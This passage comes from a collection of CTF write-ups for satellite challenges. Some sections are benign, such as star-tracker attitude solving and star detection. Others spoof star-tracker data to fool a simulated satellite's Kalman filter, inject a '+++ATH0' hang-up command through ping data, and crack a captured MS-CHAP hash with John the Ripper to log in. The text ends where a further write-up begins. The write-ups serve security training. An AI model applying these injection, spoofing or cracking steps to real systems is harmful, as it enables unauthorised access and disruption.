1567 lines
53 KiB
Org Mode
1567 lines
53 KiB
Org Mode
\newpage
|
|
* Attitude Adjustment
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: attitude-adjustment
|
|
:END:
|
|
*Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA
|
|
*Points (final)*: 69 points *Solves*: 62
|
|
|
|
#+BEGIN_QUOTE
|
|
Our star tracker has collected a set of boresight reference vectors,
|
|
and identified which stars in the catalog they correspond to. Compare
|
|
the included catalog and the identified boresight vectors to determine
|
|
what our current attitude is.
|
|
|
|
Note: The catalog format is unit vector (X,Y,Z) in a celestial
|
|
reference frame and the magnitude (relative brightness)
|
|
#+END_QUOTE
|
|
*Given files*: =attitude-papa21503yankee.tar.bz2=
|
|
|
|
** Writeup
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: writeup
|
|
:END:
|
|
|
|
by [[https://imer.in][erin (=barzamin=)]].
|
|
|
|
For this problem, we have two sets of N vectors which are paired; all
|
|
points in the first set are just those in the second set up to rotation;
|
|
we want to find the rotation which maps the first set onto the other
|
|
one. Since we already know which point in the observation set maps to
|
|
which vector in the catalog set, we can use the
|
|
[[https://en.wikipedia.org/wiki/Kabsch_algorithm][Kabsch algorithm]] to
|
|
find the rotation matrix (note that this is called an /orthogonal
|
|
Procrustes problem/). I'd only vaguely heard of the Kabsch algorithm
|
|
before, and in the context of bioinformatics, so I didn't immediately
|
|
identify it as a good path to the solution. Instead, I just googled
|
|
"/align two sets of vectors/", for which it's the third result.
|
|
|
|
Since nobody has time to implement computational geometry during a ctf,
|
|
I grabbed an existing Kabsch implementation. For some reason, I didn't
|
|
notice that =scipy.spatial= has
|
|
[[https://docs.scipy.org/doc/scipy/reference/generated/scipy.spatial.transform.Rotation.align_vectors.html][a
|
|
Kabsch implementation]] built in, so I used some random external
|
|
project, [[https://github.com/charnley/rmsd][=rmsd=]].
|
|
|
|
First, load the star catalog:
|
|
|
|
#+BEGIN_SRC python
|
|
catalog = {}
|
|
with open('./attitude-papa21503yankee/test.txt') as f:
|
|
i = 0
|
|
for line in f:
|
|
[x, y, z, m] = [float(s.strip()) for s in line.split(',')]
|
|
catalog[i] = {'v': np.array([x,y,z]), 'm':m}
|
|
i += 1
|
|
#+END_SRC
|
|
|
|
Set up some helpers for parsing the output of the challenge server and
|
|
solving an orientation:
|
|
|
|
#+BEGIN_SRC python
|
|
def parse_stars(stardata):
|
|
stars = {}
|
|
for line in stardata.strip().split('\n'):
|
|
line = line.strip()
|
|
star_id = int(line.split(':')[0].strip())
|
|
direction = np.array([float(x) for x in line.split(':')[1].split(',\t')])
|
|
stars[star_id] = direction
|
|
return stars
|
|
|
|
def solve_orientation(stars, catalog):
|
|
P = np.vstack(list(stars.values()))
|
|
Q = np.vstack([catalog[i]['v'] for i in stars.keys()])
|
|
print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q)))
|
|
rotation_mtx = calculate_rmsd.kabsch(P, Q)
|
|
rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx))
|
|
return rotation
|
|
#+END_SRC
|
|
|
|
Note that I threw in an inversion of the rotation matrix; this is
|
|
because I should've been aligning from the catalog /to/ the current star
|
|
locations. Switching P to be the catalog and Q to be stars would've done
|
|
the same thing.
|
|
|
|
Then we just grabbed each challenge from the computer, aligned the sets,
|
|
and spat the orientation of the satellite back at the server:
|
|
|
|
#+BEGIN_SRC python
|
|
TICKET = 'THE_TICKET'
|
|
r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
|
|
r.send(TICKET+'\n')
|
|
time.sleep(0.5)
|
|
for _ in range(20):
|
|
r.recvuntil(b'--------------------------------------------------\n', drop=True)
|
|
stars = parse_stars(r.recv().decode())
|
|
rotation = solve_orientation(stars, catalog)
|
|
r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n')
|
|
time.sleep(0.1)
|
|
print(r.clean())
|
|
#+END_SRC
|
|
|
|
The flag should get printed out on stdout by the final line.
|
|
|
|
*** Full code
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: full-code
|
|
:END:
|
|
|
|
#+BEGIN_SRC python
|
|
import numpy as np
|
|
from pwnlib import tubes
|
|
import time
|
|
import matplotlib.pyplot as plt
|
|
from rmsd import calculate_rmsd
|
|
from scipy.spatial.transform import Rotation
|
|
|
|
catalog = {}
|
|
with open('./attitude-papa21503yankee/test.txt') as f:
|
|
i = 0
|
|
for line in f:
|
|
[x, y, z, m] = [float(s.strip()) for s in line.split(',')]
|
|
catalog[i] = {'v': np.array([x,y,z]), 'm':m}
|
|
i += 1
|
|
|
|
def parse_stars(stardata):
|
|
stars = {}
|
|
for line in stardata.strip().split('\n'):
|
|
line = line.strip()
|
|
star_id = int(line.split(':')[0].strip())
|
|
direction = np.array([float(x) for x in line.split(':')[1].split(',\t')])
|
|
stars[star_id] = direction
|
|
return stars
|
|
|
|
def solve_orientation(stars, catalog):
|
|
P = np.vstack(list(stars.values()))
|
|
Q = np.vstack([catalog[i]['v'] for i in stars.keys()])
|
|
print("rmsd: {}".format(calculate_rmsd.kabsch_rmsd(P,Q)))
|
|
rotation_mtx = calculate_rmsd.kabsch(P, Q)
|
|
rotation = Rotation.from_matrix(np.linalg.inv(rotation_mtx))
|
|
return rotation
|
|
|
|
TICKET = 'THE_TICKET'
|
|
r = tubes.remote.remote('attitude.satellitesabove.me', 5012)
|
|
r.send(TICKET+'\n')
|
|
time.sleep(0.5)
|
|
for _ in range(20):
|
|
r.recvuntil(b'--------------------------------------------------\n', drop=True)
|
|
stars = parse_stars(r.recv().decode())
|
|
rotation = solve_orientation(stars, catalog)
|
|
r.send(','.join([str(x) for x in rotation.as_quat()]) + '\n')
|
|
time.sleep(0.1)
|
|
print(r.clean())
|
|
#+END_SRC
|
|
|
|
** Resources and other writeups
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: resources-and-other-writeups
|
|
:END:
|
|
|
|
- [[https://en.wikipedia.org/wiki/Orthogonal_Procrustes_problem]]
|
|
- [[https://en.wikipedia.org/wiki/Kabsch_algorithm]]
|
|
- [[https://github.com/charnley/rmsd/tree/master]]
|
|
|
|
\newpage
|
|
* Digital Filters, Meh
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: digital-filters-meh
|
|
:END:
|
|
*Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA
|
|
*Points (final)*: 104 points *Solves*: 37
|
|
|
|
#+BEGIN_QUOTE
|
|
Included is the simulation code for the attitude control loop for a
|
|
satellite in orbit. A code reviewer said I made a pretty big mistake
|
|
that could allow a star tracker to misbehave. Although my code is
|
|
flawless, I put in some checks to make sure the star tracker can't
|
|
misbehave anyways.
|
|
|
|
Review the simulation I have running to see if a startracker can still
|
|
mess with my filter. Oh, and I'll be giving you the attitude of the
|
|
physical system as a quaternion, it would be too much work to figure
|
|
out where a star tracker is oriented from star coordinates, right?
|
|
#+END_QUOTE
|
|
*Given files*: =src.tar.gz=.
|
|
|
|
** Writeup
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: writeup-1
|
|
:END:
|
|
|
|
by [[https://imer.in][erin (=barzamin=)]].
|
|
|
|
As part of this challenge, we're given a file =src.tar.gz= by the
|
|
scoreboard. This contains Octave code which simulates the satellite
|
|
kinetics and control loop, and, presumably, is what's running on the
|
|
challenge server.
|
|
|
|
Digging into the main file, =challenge.m=, we note a few interesting
|
|
things. The satellite is running a Kalman filter on the gyroscope data
|
|
(velocity and acceleration) and star tracker orientation data. Near the
|
|
start of each control system iteration, there's a check on the Kalman
|
|
filter error; if greater than a threshold, the controller crashes out:
|
|
|
|
#+BEGIN_SRC matlab
|
|
% Check error bounds
|
|
if max(abs(err)) > err_thresh
|
|
disp("Error: Estimator error too large... Goodbye");
|
|
disp(q_est);
|
|
disp(target.q_att);
|
|
break;
|
|
endif
|
|
#+END_SRC
|
|
|
|
Note =err_thresh= is defined upscript as
|
|
|
|
#+BEGIN_SRC matlab
|
|
err_thresh = 1*pi/180. ; % 1 Degree error max
|
|
#+END_SRC
|
|
|
|
Further down, we see that a PID update step on for the correction is
|
|
only run every five iterations; this is weird, but doesn't help us as
|
|
far as we could tell. Even further downscript, we see that every
|
|
iteration, a check is performed between target and actual orientations
|
|
(note that /actual orientation/ means, here, the true simulated physical
|
|
pose of the satellite):
|
|
|
|
#+BEGIN_SRC matlab
|
|
% Check we're still safe...
|
|
[v,a] = q2rot(quat_diff(actual.q_att, target.q_att));
|
|
if abs(v(2)*a) > (pi/8)
|
|
disp("Uh oh, better provide some information!");
|
|
disp(getenv("FLAG"))
|
|
break;
|
|
endif
|
|
#+END_SRC
|
|
|
|
If this check is true (ie, there's >π/8 radians of rotation error on the
|
|
Y axis), we get the flag! So the challenge here is making the satellite
|
|
think it's drifted when it hasn't, without making the Kalman filter
|
|
angry. How can we do that?
|
|
|
|
The star filter observations are pulled right after the previous check,
|
|
with the following code:
|
|
|
|
#+BEGIN_SRC matlab
|
|
% Get Observations
|
|
q_att = startracker(actual);
|
|
#+END_SRC
|
|
|
|
Looking inside =startracker()=, we see that it pretty clearly indicates
|
|
that we /are/ the star tracker; every timestep, the code tells us, the
|
|
adversary, what the true physical orientation is as a quaternion. We can
|
|
act as the star tracker and send back a wxyz-format quaternion on stdin,
|
|
which it will use as the star-tracker output (note that, for some
|
|
reason, the code they give us uses space-separated floats and the actual
|
|
challenge uses comma-separated floats):
|
|
|
|
#+BEGIN_SRC matlab
|
|
% Model must have a q_att member
|
|
|
|
function [ q ] = startracker(model)
|
|
q = model.q_att;
|
|
disp([q.w, q.x, q.y, q.z]);
|
|
fflush(stdout);
|
|
% Get Input
|
|
q = zeros(4,1);
|
|
for i = 1:4
|
|
q(i) = scanf("%f", "C");
|
|
endfor
|
|
q = quaternion(q(1), q(2), q(3), q(4));
|
|
%q.w = q.w + normrnd(0, 1e-8);
|
|
%q.x = q.x + normrnd(0, 1e-8);
|
|
%q.y = q.y + normrnd(0, 1e-8);
|
|
%q.z = q.z + normrnd(0, 1e-8);
|
|
|
|
q = q./norm(q);
|
|
|
|
endfunction
|
|
#+END_SRC
|
|
|
|
Also note that in =challenge.m=, immediately after the star tracker
|
|
call, checking the return value for consistency with the physical model
|
|
is /commented out/. We can tell the satellite that it's pointing
|
|
anywhere we like and it will believe us, although Kalman error might be
|
|
bad:
|
|
|
|
#+BEGIN_SRC matlab
|
|
%err = quat2eul(quat_diff(q_att, target.q_att))';
|
|
%if max(abs(err)) > err_thresh
|
|
% disp("Error: No way, you are clearly lost, Star Tracker!");
|
|
% break;
|
|
%endif
|
|
#+END_SRC
|
|
|
|
So we control the star tracker. What can we do?
|
|
|
|
We immediately noticed the vast count of =eul2quat()= and =quat2eul()=
|
|
calls and wasted so much time trying to get something to gimbal lock.
|
|
Turns out this problem is deceptively easy, and you don't need to do
|
|
that at all.
|
|
|
|
We can't make the discrepancy between the true position and what the
|
|
star tracker says too great, nor make it vary quickly; the gyroscope is
|
|
reporting gaussian noise close to zero with very low variance, so any
|
|
big delta in star tracker orientation will incur error in the Kalman
|
|
filter. So what can we do?
|
|
|
|
Turns out all we have to do hold the Y orientation constant and report
|
|
that. The satellite's true Y euler angle gradually rotates over time due
|
|
to system dynamics, accumulating controller error on the Y axis, and we
|
|
eventually get the flag.
|
|
|
|
Hook up to the server:
|
|
|
|
#+BEGIN_SRC python
|
|
sep = ','
|
|
r = remote('filter.satellitesabove.me', 5014)
|
|
r.clean()
|
|
r.send('THE_TICKET')
|
|
time.sleep(0.1)
|
|
#+END_SRC
|
|
|
|
Write a little function that pretends to be the star tracker (note:
|
|
=lie= was determined by playing with the local simulator a bunch):
|
|
|
|
#+BEGIN_SRC python
|
|
def adversary(true_pose):
|
|
lie = 0.25
|
|
|
|
euler = true_pose.as_euler('xyz')
|
|
euler[1] = lie
|
|
|
|
return R.from_euler('xyz',euler)
|
|
#+END_SRC
|
|
|
|
And talk to the server, pretending to be the tracker every indication,
|
|
until we see a string indicating we got the flag:
|
|
|
|
#+BEGIN_SRC python
|
|
while True:
|
|
rl = r.readline(timeout=3)
|
|
if rl.startswith(b'Uh oh,'):
|
|
r.interactive()
|
|
log.info(f'<== [{i}] {rl}')
|
|
|
|
[w,x,y,z] = [float(x) for x in rl.decode().strip().split()]
|
|
true_pose = R.from_quat([x,y,z,w])
|
|
|
|
new_pose = adversary(true_pose)
|
|
|
|
[x,y,z,w] = new_pose.as_quat()
|
|
msg = sep.join(map(str,[w,x,y,z]))
|
|
log.info(f'==> {msg}')
|
|
r.send(msg+'\n')
|
|
#+END_SRC
|
|
|
|
When we see that string, the script jumps to =pwnlib.tubes=' interactive
|
|
mode and we see the flag in the dumped buffer.
|
|
|
|
*** Full code
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: full-code-1
|
|
:END:
|
|
|
|
#+BEGIN_SRC python
|
|
import numpy as np
|
|
import matplotlib.pyplot as plt
|
|
from pwn import *
|
|
from scipy.spatial.transform import Rotation as R
|
|
import time
|
|
|
|
q_att_ts = []
|
|
badnesses = []
|
|
|
|
LOCAL = False
|
|
|
|
if LOCAL:
|
|
sep = ' '
|
|
r = process('octave challenge.m', shell=True)
|
|
else:
|
|
sep = ','
|
|
r = remote('filter.satellitesabove.me', 5014)
|
|
r.clean()
|
|
r.send('THE_TICKET')
|
|
time.sleep(0.1)
|
|
|
|
def adversary(true_pose):
|
|
lie = 0.25
|
|
|
|
euler = true_pose.as_euler('xyz')
|
|
euler[1] = lie
|
|
|
|
return R.from_euler('xyz',euler)
|
|
|
|
|
|
for i in range(10000):
|
|
if LOCAL:
|
|
badness = float(r.readline().decode().strip())
|
|
log.info(f'[!] badness: {badness}')
|
|
badnesses.append(badness)
|
|
|
|
rl = r.readline(timeout=3)
|
|
if rl.startswith(b'Uh oh,'):
|
|
r.interactive()
|
|
log.info(f'<== [{i}] {rl}')
|
|
|
|
[w,x,y,z] = [float(x) for x in rl.decode().strip().split()]
|
|
true_pose = R.from_quat([x,y,z,w])
|
|
|
|
new_pose = adversary(true_pose)
|
|
|
|
[x,y,z,w] = new_pose.as_quat()
|
|
msg = sep.join(map(str,[w,x,y,z]))
|
|
log.info(f'==> {msg}')
|
|
r.send(msg+'\n')
|
|
#+END_SRC
|
|
|
|
\newpage
|
|
* Seeing Stars
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: seeing-stars
|
|
:END:
|
|
*Category*: Astronomy, Astrophysics, Astrometry, Astrodynamics, AAAA
|
|
*Points (final)*: 23 *Solves*: 213
|
|
|
|
#+BEGIN_QUOTE
|
|
Here is the output from a CCD Camera from a star tracker, identify as
|
|
many stars as you can! (in image reference coordinates) Note: The
|
|
camera prints pixels in the following order (x,y): (0,0), (1,0),
|
|
(2,0)... (0,1), (1,1), (2,1)...
|
|
|
|
Note that top left corner is (0,0)
|
|
#+END_QUOTE
|
|
|
|
** Write-up
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: write-up
|
|
:END:
|
|
|
|
by [[https://qtp2t.club/][hazel (=arcetera=)]]
|
|
|
|
The CCD image given by the netcat is a 128x128 matrix of comma-separated
|
|
values.
|
|
|
|
We read the data into a NumPy array, and pass that into OpenCV.
|
|
|
|
#+BEGIN_SRC python
|
|
data = []
|
|
for line in rawdat.strip().split('\n'):
|
|
data.append([int(x) for x in line.split(',')])
|
|
|
|
x = np.array(data, dtype='uint8').T
|
|
|
|
im = x
|
|
#+END_SRC
|
|
|
|
We then run a filter on the data, only grabbing values in [127, 255] to
|
|
filter out data that is /obviously not/ stars. We then run two dilates
|
|
on the image post-filter, because otherwise we end up with a division by
|
|
zero on centroid finding later for =M["m00"]=. Finally, we grabbed the
|
|
contour of every object visible in the image.
|
|
|
|
#+BEGIN_SRC python
|
|
ret, thresh = cv2.threshold(im.copy(), 127, 255, 0)
|
|
kernel = np.ones((5, 5), np.uint8)
|
|
dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2)
|
|
|
|
cnts, hier = cv2.findContours(dilated.copy(), \
|
|
cv2.RETR_TREE, \
|
|
cv2.CHAIN_APPROX_NONE)
|
|
#+END_SRC
|
|
|
|
For each contour, we grabbed its centroid:
|
|
|
|
#+BEGIN_SRC python
|
|
solve = ''
|
|
for c in cnts:
|
|
M = cv2.moments(c)
|
|
cX = int(M["m10"] / M["m00"])
|
|
cY = int(M["m01"] / M["m00"])
|
|
|
|
solve += (str(cX) + "," + str(cY)+'\n')
|
|
return solve
|
|
#+END_SRC
|
|
|
|
We then automated this entire process using pwnlib to connect to the
|
|
server and read the data.
|
|
|
|
*** Full code
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: full-code-2
|
|
:END:
|
|
|
|
#+BEGIN_SRC python
|
|
#!/usr/bin/env python3
|
|
import cv2
|
|
import math
|
|
import numpy as np
|
|
from pwnlib import tubes
|
|
import time
|
|
|
|
def solve(rawdat):
|
|
data = []
|
|
for line in rawdat.strip().split('\n'):
|
|
data.append([int(x) for x in line.split(',')])
|
|
|
|
x = np.array(data, dtype='uint8').T
|
|
|
|
im = x # cv2.imread("output.png", cv2.IMREAD_GRAYSCALE)
|
|
ret, thresh = cv2.threshold(im.copy(), 127, 255, 0)
|
|
kernel = np.ones((5, 5), np.uint8)
|
|
dilated = cv2.dilate(thresh.copy(), kernel, iterations = 2)
|
|
|
|
cnts, hier = cv2.findContours(dilated.copy(), \
|
|
cv2.RETR_TREE, \
|
|
cv2.CHAIN_APPROX_NONE)
|
|
|
|
edit = thresh.copy()
|
|
cv2.drawContours(edit, cnts, -1, (0, 255, 0), 3)
|
|
|
|
solve = ''
|
|
for c in cnts:
|
|
M = cv2.moments(c)
|
|
cX = int(M["m10"] / M["m00"])
|
|
cY = int(M["m01"] / M["m00"])
|
|
|
|
solve += (str(cX) + "," + str(cY)+'\n')
|
|
return solve
|
|
|
|
TICKET = 'THE_TICKET'
|
|
r = tubes.remote.remote('stars.satellitesabove.me', 5013)
|
|
r.recvline()
|
|
r.send(TICKET+'\n')
|
|
going = True
|
|
while going:
|
|
rawdat = r.recvuntil('Enter', drop=True)
|
|
time.sleep(0.5)
|
|
r.clean()
|
|
solution = solve(rawdat.decode())
|
|
r.send(solution+'\n')
|
|
time.sleep(0.1)
|
|
if r.recvuntil('Left...\n') == b'0 Left...\n':
|
|
time.sleep(0.1)
|
|
print(r.clean())
|
|
#+END_SRC
|
|
|
|
Run it, and the flag should be printed as a bytestring.
|
|
|
|
** Resources and other writeups
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: resources-and-other-writeups-1
|
|
:END:
|
|
|
|
- [[https://docs.opencv.org/trunk/d9/d61/tutorial_py_morphological_ops.html]]
|
|
- [[https://docs.opencv.org/trunk/dd/d49/tutorial_py_contour_features.html]]
|
|
|
|
\newpage
|
|
* 56K Flex Magic
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: k-flex-magic
|
|
:END:
|
|
*Category:* Communication Systems *Points (final):* 205 *Solves:* 13
|
|
|
|
#+BEGIN_QUOTE
|
|
Anyone out there speak modem anymore? We were able to listen in to on,
|
|
maybe you can ask it for a flag...
|
|
|
|
UPDATE: Since everyone is asking, yes...a BUSY signal when dialing the
|
|
ground station is expected behavior.
|
|
#+END_QUOTE
|
|
|
|
** Write-up
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: write-up-1
|
|
:END:
|
|
|
|
by [[https://awoo.systems][haskal]]
|
|
|
|
An audio file is included that contains a session where a number is
|
|
dialed, and then some modem data is exchanged (it's a very distinctive
|
|
sound). Additionally, there is a note included with the following text.
|
|
|
|
#+BEGIN_EXAMPLE
|
|
---=== MY SERVER ===---
|
|
Phone #: 275-555-0143
|
|
Username: hax
|
|
Password: hunter2
|
|
|
|
* Modem implements a (very small) subset of 'Basic' commands as
|
|
described in the ITU-T V.250 spec (Table I.2)
|
|
|
|
---=== THEIR SERVER ===---
|
|
|
|
Ground station IP: 93.184.216.34
|
|
Ground station Phone #: 458-XXX-XXXX ...?
|
|
Username: ?
|
|
Password: ?
|
|
|
|
* They use the same model of modem as mine... could use +++ATH0
|
|
ping of death
|
|
* It'll have an interactive login similar to my server
|
|
* Their official password policy: minimum requirements of
|
|
FIPS112 (probably just numeric)
|
|
* TL;DR - section 4.1.1 of 'NBS Special Publication 500-137'
|
|
#+END_EXAMPLE
|
|
|
|
ITU-T V.250 is essentially a formalization of the
|
|
[[https://en.wikipedia.org/wiki/Hayes_command_set][Hayes command set]],
|
|
so we can use basic Hayes commands to interact with our local modem,
|
|
such as
|
|
|
|
#+BEGIN_EXAMPLE
|
|
ATDTXXXXXXXXXX - dial number XXX...
|
|
ATH0 - hang up
|
|
+++ - get the local modem's attention while in a remote session
|
|
#+END_EXAMPLE
|
|
|
|
The first step is to try to get information about the ground station
|
|
server. We can decode the dial tones from the audio file, which are
|
|
[[https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling][DTMF]]
|
|
tones. Once decoded we obtain a phone number for the ground station of
|
|
=458-555-0142=. However dialing this number results in an error -
|
|
=BUSY=. Presumably, the ground station is already dialed into somewhere,
|
|
and we need to disconnect it.
|
|
|
|
The "ping of death" refers to injecting a modem command into a packet
|
|
sent to a remote server in order to cause the server's modem to
|
|
interpret a hang up command contained in the packet. This can be
|
|
achieved by pinging with the data =+++ATH0=, because as the server
|
|
replies to the ping with the same data, its local modem will interpret
|
|
the command inside the ping. But we need to escape it with hex to avoid
|
|
having our local modem hang up instead. Once in the session, we dial the
|
|
number in the text file to get an initial shell session
|
|
|
|
#+BEGIN_EXAMPLE
|
|
ATDT2755550143
|
|
#+END_EXAMPLE
|
|
|
|
Next, issue a ping of death to the provided server IP
|
|
|
|
#+BEGIN_SRC sh
|
|
ping -v 0x2b2b2b415448290d 93.184.216.34
|
|
#+END_SRC
|
|
|
|
Now the ground station should be disconnected so it is available for us
|
|
to dial.
|
|
|
|
#+BEGIN_EXAMPLE
|
|
+++ATH0
|
|
ATDT45845550142
|
|
#+END_EXAMPLE
|
|
|
|
We get a login prompt for SATNET
|
|
|
|
#+BEGIN_EXAMPLE
|
|
* * . * * * . * * . * * .
|
|
. * * . * . . * . *
|
|
* +------------------------------+
|
|
. | SATNET | *
|
|
+------------------------------+ .
|
|
. | UNAUTHORIZED ACCESS IS |
|
|
| STRICTLY PROHIBITED |
|
|
. +------------------------------+ .
|
|
. .
|
|
.
|
|
|
|
Setting up - this will take a while...
|
|
|
|
LOGIN
|
|
Username:
|
|
#+END_EXAMPLE
|
|
|
|
However we still need the username and password. Maybe the provided
|
|
audio file has the credentials somewhere in the dialup modem exchange.
|
|
By analyzing the spectrum in Audacity (or any analyzer of choice) we
|
|
discover that it has peaks around 980 Hz, 1180 Hz, 1650 Hz, and 1850 Hz.
|
|
This is consistent with the
|
|
[[https://www.itu.int/rec/T-REC-V.21-198811-I/en][ITU V.21 standard]]
|
|
which uses dual-channel Frequency Shift Keying at 300 bits/second. We
|
|
can use [[https://github.com/kamalmostafa/minimodem][minimodem]] to
|
|
decode the modem traffic. We can provide the two FSK frequencies (the
|
|
"mark" and "space", representing each bit of the data) for channel 1 and
|
|
then for channel 2 to get both sides of the exchange. We also need to
|
|
provide the bit rate.
|
|
|
|
#+BEGIN_SRC sh
|
|
minimodem -8 -S 980 -M 1180 -f recording.wav 300
|
|
minimodem -8 -S 1650 -M 1850 -f recording.wav 300
|
|
#+END_SRC
|
|
|
|
This data looks like garbage but it contains some strings, notably
|
|
=rocketman2674=. We assume from the notes file that the password is a
|
|
4-digit number, but trying the username =rocketman= and password =2674=
|
|
didn't work. We need to look closer. This is the beginning of one side
|
|
of the exchange in hex:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
00000000: 7eff 7d23 c021 7d21 7d20 7d20 7d34 7d22 ~.}#.!}!} } }4}"
|
|
00000010: 7d26 7d20 7d20 7d20 7d20 7d25 7d26 28e5 }&} } } } }%}&(.
|
|
00000020: 4c21 7d27 7d22 7d28 7d22 e193 7e7e ff7d L!}'}"}(}"..~~.}
|
|
00000030: 23c0 217d 217d 217d 207d 347d 227d 267d #.!}!}!} }4}"}&}
|
|
00000040: 207d 207d 207d 207d 257d 2628 e54c 217d } } } }%}&(.L!}
|
|
#+END_EXAMPLE
|
|
|
|
It starts with =7eff=, which is characteristic of
|
|
[[https://en.wikipedia.org/wiki/Point-to-Point_Protocol][Point-to-Point
|
|
Protocol]]. We can decode the packets with
|
|
[[https://github.com/secdev/scapy][scapy]], a framework for network
|
|
protocol analysis. However, first we have to de-frame the PPP frames
|
|
since there doesn't seem to be a tool for this automatically. There are
|
|
two main tasks, first split up the frames by the =7e= delimiters, and
|
|
then remove the byte stuffing within the frame, since PPP will escape
|
|
certain bytes with the =7d= prefix followed by the byte XOR =0x20=.
|
|
Finally, the frame can be passed to scapy for analysis. This is a VERY
|
|
lax de-framer because sometimes frames seemed to not be started or
|
|
terminated properly.
|
|
|
|
#+BEGIN_SRC python
|
|
def decode(ch):
|
|
buf2 = b""
|
|
esc = False
|
|
|
|
for x in ch:
|
|
if x == 0x7e:
|
|
if buf2 != b"\xFF" and buf2 != b"":
|
|
PPP(buf2).show()
|
|
buf2 = b""
|
|
esc = False
|
|
elif esc:
|
|
esc = False
|
|
buf2 += bytes([x^0x20])
|
|
elif x == 0x7d:
|
|
esc = True
|
|
else:
|
|
buf2 += bytes([x])
|
|
|
|
if len(buf2) > 0:
|
|
PPP(buf2).show()
|
|
#+END_SRC
|
|
|
|
(This code is really awful CTF code, please ignore the 200 awful
|
|
spaghetti things I'm doing in this snippet.)
|
|
|
|
Now we can see what the packets mean. In particular, we spot these ones:
|
|
|
|
#+BEGIN_EXAMPLE
|
|
###[ HDLC ]###
|
|
address = 0xff
|
|
control = 0x3
|
|
###[ PPP Link Layer ]###
|
|
proto = Link Control Protocol
|
|
###[ PPP Link Control Protocol ]###
|
|
code = Configure-Ack
|
|
id = 0x2
|
|
len = 28
|
|
\options \
|
|
.....
|
|
|###[ PPP LCP Option ]###
|
|
| type = Authentication-protocol
|
|
| len = 5
|
|
| auth_protocol= Challenge-response authentication protocol
|
|
| algorithm = MS-CHAP
|
|
.....
|
|
|
|
###[ PPP Link Layer ]###
|
|
proto = Challenge Handshake Authentication Protocol
|
|
###[ PPP Challenge Handshake Authentication Protocol ]###
|
|
code = Response
|
|
id = 0x0
|
|
len = 67
|
|
value_size= 49
|
|
value = 0000000000000000000000000000000000000000000000006c2e3af0f2f7760
|
|
2e9831310b56924f3428b05ad60c7a2b401
|
|
optional_name= 'rocketman2674'
|
|
#+END_EXAMPLE
|
|
|
|
and
|
|
|
|
#+BEGIN_EXAMPLE
|
|
###[ PPP Link Layer ]###
|
|
proto = Challenge Handshake Authentication Protocol
|
|
###[ PPP Challenge Handshake Authentication Protocol ]###
|
|
code = Challenge
|
|
id = 0x0
|
|
len = 26
|
|
value_size= 8
|
|
value = 12810ab88c7f1c74
|
|
optional_name= 'GRNDSTTNA8F6C'
|
|
|
|
###[ PPP Link Layer ]###
|
|
proto = Challenge Handshake Authentication Protocol
|
|
###[ PPP Challenge Handshake Authentication Protocol ]###
|
|
code = Success
|
|
id = 0x0
|
|
len = 4
|
|
data = ''
|
|
#+END_EXAMPLE
|
|
|
|
We can see in this exchange that the client has negotiated =MS-CHAP=
|
|
authentication and then authenticates to the server successfully.
|
|
MS-CHAP uses NetNTLMv1 hashes, which can be cracked very easily. We just
|
|
need the username (=rocketman2674=), the "challenge" which is used as a
|
|
salt for the hash, and the hash itself. The format of the response in
|
|
MS-CHAP (according to RFC2433) is 49 bytes, including 24 bytes of stuff
|
|
we ignore, 24 bytes of hash, and one byte of stuff we also ignore. We
|
|
can now convert the data into a
|
|
[[https://www.openwall.com/john/][John-the-Ripper]] compatible hash like
|
|
|
|
#+BEGIN_EXAMPLE
|
|
username:$NETNTLM$challenge$hash
|
|
|
|
rocketman2674:$NETNTLM$12810ab88c7f1c74$6c2e3af0f2f77602e9831310b56924f3428b05ad60c7a2b4
|
|
#+END_EXAMPLE
|
|
|
|
Technically, you can use hashcat as well but I didn't want to bother
|
|
with the hashcat flags. Put this hash in a text file and run
|
|
=john file.txt=. No need to specify 4 digit pins because john will
|
|
complete in literal seconds anyway.
|
|
|
|
#+BEGIN_EXAMPLE
|
|
Proceeding with incremental:ASCII
|
|
9435 (rocketman2674)
|
|
1g 0:00:00:08 DONE 3/3 (2020-05-26 03:07) 0.1212g/s 10225Kp/s 10225Kc/s 10225KC/s 97xx..94b4
|
|
Use the "--show --format=netntlm" options to display all of the cracked passwords reliably
|
|
Session completed
|
|
#+END_EXAMPLE
|
|
|
|
Use =rocketman2674= with password =9435= to log in to the ground
|
|
station, then execute the =flag= command to get the flag.
|
|
|
|
** Resources and other writeups
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: resources-and-other-writeups-2
|
|
:END:
|
|
|
|
- [[https://en.wikipedia.org/wiki/Hayes_command_set]]
|
|
- [[https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling]]
|
|
- [[https://github.com/kamalmostafa/minimodem]]
|
|
- [[https://en.wikipedia.org/wiki/Point-to-Point_Protocol]]
|
|
- [[https://tools.ietf.org/html/rfc2433]]
|
|
- [[https://www.openwall.com/john/]]
|
|
|
|
\newpage
|
|
* Phasors to Stun
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: phasors-to-stun
|
|
:END:
|
|
*Category:* Ground Segment *Points (final):* 62 *Solves:* 71
|
|
|
|
#+BEGIN_QUOTE
|
|
Demodulate the data from an SDR capture and you will find a flag. It
|
|
is a wav file, but that doesn't mean its audio data.
|
|
#+END_QUOTE
|
|
|
|
** Write-up
|
|
:PROPERTIES:
|
|
:CUSTOM_ID: write-up-2
|
|
:END:
|
|
|
|
by [[https://awoo.systems][haskal]]
|
|
|
|
The provided WAV file contains a signal that looks like this:
|
